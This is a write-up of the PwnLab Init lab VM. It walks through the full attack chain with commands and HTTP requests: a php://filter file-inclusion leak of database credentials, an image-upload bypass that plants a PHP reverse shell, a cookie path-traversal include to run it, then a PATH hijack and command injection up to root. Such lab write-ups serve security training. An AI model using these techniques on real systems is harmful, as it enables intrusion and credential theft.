< Back to All

PWNlab Init

Author: Tyler Sullivan

The first step with PWNlab Init  is to scan the host:

 

nmap -sSVC -p- -oA tcpnmapfull <ip>

The output was as follows:

80/tcp open http Apache httpd 2.4.10 ((Debian))

|_http-server-header: Apache/2.4.10 (Debian)

|_http-title: PwnLab Intranet Image Hosting

111/tcp open rpcbind 2-4 (RPC #100000)

| rpcinfo:

| program version port/proto service

| 100000 2,3,4  111/tcp rpcbind

| 100000 2,3,4  111/udp rpcbind

| 100000 3,4  111/tcp6 rpcbind

| 100000 3,4  111/udp6 rpcbind

| 100024 1  33456/udp6 status

| 100024 1  34849/tcp6 status

| 100024 1  38608/udp status

|_ 100024 1  47666/tcp status

3306/tcp open mysql MySQL 5.5.47-0+deb8u1

| mysql-info:

| Protocol: 10

| Version: 5.5.47-0+deb8u1

| Thread ID: 38

| Capabilities flags: 63487

| Some Capabilities: IgnoreSpaceBeforeParenthesis, LongPassword, Speaks41ProtocolOld, Support41Auth, LongColumnFlag, DontAllowDatabaseTableColumn, SupportsCompression, IgnoreSigpipes, SupportsTransactions, ConnectWithDatabase, FoundRows, SupportsLoadDataLocal, ODBCClient, Speaks41ProtocolNew, InteractiveClient, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins

| Status: Autocommit

| Salt: ~;LLw36S"K6k9vl9t^Y&

|_ Auth Plugin Name: mysql_native_password

47666/tcp open status 1 (RPC #100024)

MAC Address: 08:00:27:92:B5:2E (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap done at Wed Jan 22 09:21:00 2020 -- 1 IP address (1 host up) scanned in 24.87 seconds


Firstly, lets visit the HTTP page and do some web enumeration:

PWNLAB | PWNLAB walkthrough - ethical hacking

 

There’s an upload and a login, both could provide the initial foothold in the application. Possibly through SQL injection or uploading a shell.

When we visit the upload we see it requires us to be logged in.

We can try some common SQL bypass strings, it doesn’t look like its vulnerable.

Next, let’s use Gobuster to enumerate some more directories and files.

gobuster dir -u http://192.168.1.149 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php


The results are as follows:

 

===============================================================

Gobuster v3.0.1

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)

===============================================================

[+] Url:  http://192.168.1.149

[+] Threads:  10

[+] Wordlist:  /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

[+] Status codes: 200,204,301,302,307,401,403

[+] User Agent:  gobuster/3.0.1

[+] Extensions:  php

[+] Timeout:  10s

===============================================================

2020/01/22 09:54:48 Starting gobuster

===============================================================

/index.php (Status: 200)

/images (Status: 301)

/login.php (Status: 200)

/upload (Status: 301)

/upload.php (Status: 200)

/config.php (Status: 200)

/server-status (Status: 403)


Config.php is interesting but doesn’t reveal any info upon visiting, may contain sensitive information held in the php tags.

Lets also run Nikto just to be sure:

nikto -h 192.168.1.149

The results are as follows:

- Nikto v2.1.6

---------------------------------------------------------------------------

+ Target IP:  192.168.1.149

+ Target Hostname: 192.168.1.149

+ Target Port:  80

+ Start Time:  2020-01-22 09:51:13 (GMT0)

---------------------------------------------------------------------------

+ Server: Apache/2.4.10 (Debian)

+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS

+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type

+ No CGI Directories found (use '-C all' to force check all possible dirs)

+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.

+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.0.1".

+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.

+ Cookie PHPSESSID created without the httponly flag

+ /config.php: PHP Config file may contain database IDs and passwords.

+ OSVDB-3268: /images/: Directory indexing found.

+ OSVDB-3233: /icons/README: Apache default file found.

+ /login.php: Admin login page/section found.

+ 7915 requests: 0 error(s) and 11 item(s) reported on remote host

+ End Time:  2020-01-22 09:52:33 (GMT0) (80 seconds)

Similar stuff uncovered, and confirms the config.php might contain sensitive information.

The URL shows that pages are loaded as a query parameter and may be vulnerable to Local File Inclusion - LFI.

Tried some standard LFI techniques and wordlists to no success, however I did get some 500 errors which suggested this could be how we get the initial foothold. 

I then found this article about LFI with PHP filter:

https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/

Tried php://filter/convert.base64-encode/resource=** and this works! We then get an output of all the pages and their PHP content. 

Lets first get the config.php:

PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+

Decoding this returns the following:

<?php

$server = "localhost";

$username = "root";

$password = "H4u%QJ_H99";

$database = "Users";

?>

We now have some SQL credentials. So let’s access the database.

mysql -h <ip> -u root -p

Let’s see what databases are available:

show Databases;

This shows us there is a ‘Users’ and ‘information schema’. 

Let’s access Users:

use Users;

Finally, let’s return all the users:

select * from users;

Which gave the following users with Base64 encoded passwords:

| kent | Sld6WHVCSkpOeQ== |

| mike | U0lmZHNURW42SQ== |

| kane | aVN2NVltMkdSbw== |

Back on the web application, lets try login as kent with the decoded password. We can now upload files.

We quickly realise photos can be uploaded but anything else is rejected:

 

PWNLAB | PWNLAB walkthrough - ethical hacking

 

Let’s look at the upload.php again to see what checks are going on:

 

<?php

session_start();

if (!isset($_SESSION['user'])) { die('You must be log in.'); }

?>

<html>

<body>

 <form action='' method='post' enctype='multipart/form-data'>

 <input type='file' name='file' id='file' />

 <input type='submit' name='submit' value='Upload'/>

 </form>

</body>

</html>

<?php

if(isset($_POST['submit'])) {

if ($_FILES['file']['error'] <= 0) {

 $filename = $_FILES['file']['name'];

 $filetype = $_FILES['file']['type'];

 $uploaddir = 'upload/';

 $file_ext = strrchr($filename, '.');

 $imageinfo = getimagesize($_FILES['file']['tmp_name']);

 $whitelist = array(".jpg",".jpeg",".gif",".png");

 if (!(in_array($file_ext, $whitelist))) {

 die('Not allowed extension, please upload images only.');

 }

 if(strpos($filetype,'image') === false) {

 die('Error 001');

 }

 if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {

 die('Error 002');

 }

 if(substr_count($filetype, '/')>1){

 die('Error 003');

 }

 $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

 if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {

 echo "<img src=\"".$uploadfile."\"><br />";

 } else {

 die('Error 4');

 }

}

}

?>

It has a few checks, looking at a file extension whitelist, content type checking, checking file info for type and a couple more checks we need to bypass all.

Looking around for bypasses, .gif files have an initial start string. By adding this then the php script would be able to possibly fool the image info check. 

Adding the extension ‘.gif’ and giving it a gif mime type lets the reverse shell be uploaded.

 

POST /?page=upload HTTP/1.1

Host: 192.168.1.149

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.1.149/?page=upload

Content-Type: multipart/form-data; boundary=---------------------------143813293414172697171633156744

Content-Length: 6038

Connection: close

Cookie: PHPSESSID=bhcnjtata9lbla4bav9mqj20b6

Upgrade-Insecure-Requests: 1

-----------------------------143813293414172697171633156744

Content-Disposition: form-data; name="file"; filename="giphy.php.gif"

Content-Type: image/gif

GIF89a;

<?php

// php-reverse-shell - A Reverse Shell

Now we have to find where its stored and get it to execute. We have the location as upload/5847c2cd173d4ec34f4e0be6675805c4.gif, visiting this doesn’t execute it as the file type and content type is for a gif.

After some looking, I went back to the original LFI and looked at the index.php page:

<?php

//Multilingual. Not implemented yet.

//setcookie("lang","en.lang.php");

if (isset($_COOKIE['lang']))

{

include("lang/".$_COOKIE['lang']);

}

// Not implemented yet.

?>

The language cookie has not been implemented but part of the code is uncommented. Include is an insecure php function which may be a possible exploit. 

A similial issues is outlined on StackExhange: How to exploit this include_once vulnerability in PHP?

So we can use this Cookie: xxx=eng.php/../../../anotherfile and replace the xxx with lang, and replace the file with the location of our file:

GET /index.php HTTP/1.1

Host: 192.168.1.149

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: lang=eng.php/../../../../../var/www/html/upload/5847c2cd173d4ec34f4e0be6675805c4.gif

Upgrade-Insecure-Requests: 1

And we have a shell! The following command will upgrade the shell:

python -c 'import pty; pty.spawn("/bin/bash")'

We can use the credentials from the SQL database to look for files in the home directory.

We can log in as kent, and kane, but not mike. The only file is in the kane home directory which is to message mike. However, we get the following error when we do it:

cat: /home/mike/msg.txt: No such file or directory

I recommend a cool article about privilege escalation when a full path isn’t reference.

Because cat isn’t full path referenced it goes through the $PATH environment variable. If we can change this, we could exploit it and get a new shell hopefully as mike:

cd /tmp

echo ‘bin/bash’ > cat

export PATH=/tmp:$PATH

Now we can run msgmike again and now whoami returns mike.

In mikes directory there is a msg2root program, running it seems to just take your input and send it to root, let’s see what’s inside it, first change back the environment variable for PATH:

export PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Strings on the C program returns this:

Message for root: /bin/echo %s >> /root/messages.txt

Echo is completely referenced so that’s not going to be an exploit. Possible C exploits include buffer overflow and command injection. Let’s try command injection first:

./msg2root

Message for root: abc && ls

This returns the files in the current directory. /bin/bash did not return a shell as root, but luckily /bin/sh did:

PWNLAB congrats | PWNLAB walkthrough - ethical hacking